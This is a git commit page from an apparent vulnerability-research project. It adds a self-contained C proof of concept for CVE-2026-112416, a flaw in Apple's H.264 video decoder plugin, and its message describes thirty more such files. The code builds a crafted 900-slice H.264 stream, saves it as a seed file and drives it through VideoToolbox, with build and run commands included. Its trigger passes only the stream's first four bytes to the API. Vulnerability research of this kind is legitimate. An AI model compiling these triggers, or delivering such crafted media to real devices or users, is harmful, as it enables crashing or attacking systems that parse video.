v2.0 — 31 C POC twins + harness fixes
- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
This commit is contained in:
1 parent
1ea76ab005
commit
7949c7ce9f
79 files changed
+4109
-892
No files matched your search
@@ -0,0 +1,72 @@
|
||||
// vid.avc · AVD.videodecoder plugin (userspace, not kext) · CVE-2026-112416
|
||||
// H.264 slice count beyond the plugin cap
|
||||
// C twin of the Swift POC: builds the 900-slice AVC stream and drives it through
|
||||
// CMVideoFormatDescriptionCreateFromH264ParameterSets.
|
||||
// Build: clang -O2 -o cve-2026-112416 CVE-2026-112416.c -framework VideoToolbox -framework CoreMedia -framework CoreFoundation
|
||||
// Run: ./cve-2026-112416 [slice-count]
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
// ── byte buffer ──
|
||||
typedef struct { uint8_t *d; size_t n, cap; } buf;
|
||||
static void bneed(buf *b, size_t extra) {
|
||||
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
|
||||
}
|
||||
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
|
||||
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
|
||||
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
|
||||
|
||||
// ── seed construction (from Cinder27 Sources: VideoPayload.avcManySlices) ──
|
||||
static buf avc_many_slices(int slice_count) {
|
||||
buf out = {0};
|
||||
bcat(&out, "\x00\x00\x00\x01", 4); // start code
|
||||
bcat(&out, (uint8_t[]){0x67, 0x42, 0x00, 0x1E}, 4); // SPS
|
||||
bcat(&out, (uint8_t[]){0xE8, 0x38, 0x00}, 3); // exp-golomb fields
|
||||
brep(&out, 0, 8); // structurally plausible tail
|
||||
bcat(&out, "\x00\x00\x00\x01", 4);
|
||||
bcat(&out, (uint8_t[]){0x68, 0xCE, 0x38, 0x80}, 4); // PPS
|
||||
for (int i = 0; i < slice_count; i++) {
|
||||
bcat(&out, "\x00\x00\x00\x01", 4);
|
||||
bcat(&out, (uint8_t[]){0x65, (uint8_t)(0x88 | (i & 0x03)), 0x84, 0x00}, 4); // slice header
|
||||
brep(&out, 0, 4);
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
// ── trigger: parameter-set parse through VideoToolbox ──
|
||||
#include <VideoToolbox/VideoToolbox.h>
|
||||
#include <CoreMedia/CoreMedia.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
int slice_count = argc > 1 ? atoi(argv[1]) : 900;
|
||||
|
||||
buf data = avc_many_slices(slice_count);
|
||||
FILE *f = fopen("avc_900_slices.h264", "wb");
|
||||
if (f) { fwrite(data.d, 1, data.n, f); fclose(f); }
|
||||
|
||||
CMFormatDescriptionRef format = NULL;
|
||||
const uint8_t *ptr = data.d;
|
||||
OSStatus status = CMVideoFormatDescriptionCreateFromH264ParameterSets(
|
||||
kCFAllocatorDefault,
|
||||
1, // one parameter set: the first 4 bytes, as the Swift POC passes
|
||||
&ptr,
|
||||
(size_t[]){4},
|
||||
4, // 4-byte NAL unit header length
|
||||
&format);
|
||||
|
||||
printf("CVE-2026-112416 · %d slices in stream · OSStatus %d\n", slice_count, (int)status);
|
||||
if (format) {
|
||||
CMVideoDimensions dims = CMVideoFormatDescriptionGetDimensions(format);
|
||||
printf("decoder accepted the parameter set · dimensions %d x %d\n", dims.width, dims.height);
|
||||
CFRelease(format);
|
||||
} else {
|
||||
printf("no format description produced (rejected at entry)\n");
|
||||
}
|
||||
printf("seed: avc_900_slices.h264 (%zu B) · exit code %d\n", data.n, (int)(status == noErr ? 0 : 1));
|
||||
int rc = status == noErr ? 0 : 1;
|
||||
bfree(&data);
|
||||
return rc;
|
||||
}
|
||||
Reference in new issue
Block a user